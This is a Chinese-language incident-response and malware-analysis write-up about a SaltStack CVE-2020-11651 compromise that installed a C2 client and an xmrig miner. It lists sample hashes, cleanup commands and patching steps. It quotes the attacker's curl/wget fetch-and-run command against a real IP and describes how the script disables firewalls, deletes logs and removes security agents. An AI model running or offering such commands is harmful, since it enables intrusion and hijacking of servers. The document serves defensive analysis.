描述
SaltStack是一套C/S架構的運維工具,服務端口默認為4505/4506,兩個端口如果對外網開放危害非常大,黑客利用SaltStack的遠程命令執行漏洞CVE-2020-11651可以直接繞過Salt-Master的認證機制,調用相關函數向Salt-Minion下發指令執行系統命令,最終導致挖礦。
現象
受害Salt-Minion機器上存在挖礦進程salt-minions。

tmp目錄下存在可疑二進制文件:
salt-storesalt-minions
排查
- 確定所有
salt-master機器列表; - 查看當天
salt-master的日志文件/var/log/salt/minion,是否存在可疑命令執行,篩選cmdmod:

- 找到可疑的命令執行內容:
(curl -s 217.12.210.192/sa.sh||wget -q -O- 217.12.210.192/sa.sh)|sh
- 確認
SaltStack版本,是否存在漏洞CVE-2020-11651。
樣本分析
共三個樣本:
| 文件名 | MD5 |
|---|---|
| sa.sh | 204780df7dd946401d6e545a130689fb |
| salt-store | 8ec3385e20d6d9a88bc95831783beaeb |
| salt-minions | a28ded80d7ab5c69d6ccde4602eef861 |
sa.sh
這是黑客原始下載執行的腳本文件,salt-store從這里下載下載的。
該腳本執行后首先進行一些系統設置:關閉防火牆、設置ulimit、關閉防火牆、關閉watchdog告警,並且將系統syslog日志刪除:

然后檢測服務器上是否安裝安騎士和雲鏡服務,有則將進程停止並下載對應的卸載腳本進行卸載操作:

之后通過netstat篩選服務器開啟的端口和連接,將對應進程全部停止:

然后通過ps、pkill、pgrep、killall篩選進程名和參數,將其對應的進程殺掉,並且還會清理cpu資源占用超過10%的進程,保證有更多的硬件資源可以利用:


之后會清理/tmp、/etc/下其他挖礦進程的二進制文件:

該腳本還會清理docker運行的挖礦程序:

腳本最后會從遠程下載惡意二進制文件salt-store到/tmp或/var/tmp下:

download2函數中會從bitbucket下載惡意二進制文件,如果失敗會調用download3函數從217.12.210.192下載:

下載之后,將包含以下字段的計划任務刪除,這一步可以將其他挖礦和一些HIDS服務的守護任務刪掉:

salt-store
該文件是C2客戶端,從控制端接收指令執行。
運行后該程序會釋放礦機文件salt-minions到/tmp/下:

salt-store運行期間會和以下url進行http交互:

對該文件靜態分析后,發現該程序具有如下功能,包括運行礦機、執行遠端指令、端口掃描等:

從樣本分析結果看,可以判定這是一個命令控制系統(C2)的客戶端,程序運行之后主機會在遠端上線,黑客可以登錄遠端給客戶機下發指令啟動挖礦程序。
salt-minions
由salt-store運行時釋放。
該文件有明顯的xmrig特征:

所以該文件是一個xmrig的礦機。
清理恢復
清理步驟
- 停止惡意進程:
kill -9 `pidof salt-store` && kill -9 `pidof salt-minions` - 刪除惡意文件:
rm -rf /tmp/salt-* /var/tmp/salt-*
整改恢復
- 升級
SaltStack到最新版本,修補CVE-2020-11651漏洞,升級前建議做好快照備份措施,安全版本下載地址參考:https://repo.saltstack.com; - 設置
SaltStack為自動更新,及時獲取相應補丁; - 將
Salt Master默認監聽端口(默認4505和4506)設置為禁止對公網開放,或僅對可信對象開放,避免被黑客利用;
